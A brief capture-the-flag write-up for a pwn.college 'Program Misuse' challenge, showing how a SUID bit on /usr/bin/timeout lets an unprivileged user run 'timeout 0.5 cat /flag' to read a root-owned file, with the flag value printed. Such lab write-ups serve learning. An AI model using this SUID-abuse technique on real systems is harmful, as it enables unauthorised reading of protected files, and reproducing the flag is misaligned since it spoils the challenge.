Category: Program Misuse
Platform: pwn.college
Difficulty: Begineer Date: 2025-07-15
Author: Himanshu Parate

🧠 Summary:

The challenge abuses a SUID bit set on /usr/bin/timeout, allowing an unprivileged user to read the root-owned flag file at /flag.

🔍 Enumeration

ls -l /usr/bin/timeout

output:

-rwsr-xr-x 1 root root 47480 Sep  5  2019 /usr/bin/timeout

-The s in -rws indicates it’s a SUID binary. -timeout runs with root privileges.

🚀 Exploitation

The timeout command in Linux is used to run another command with a time limit. If the command runs longer than the specified time, timeout will terminate it automatically.

timeout 0.5 cat /flag

Output:

pwn.college{MFU1eR7KxcZ2LfT0Uxiy-ybYB9g.dBzNxwSM0IzMyEzW}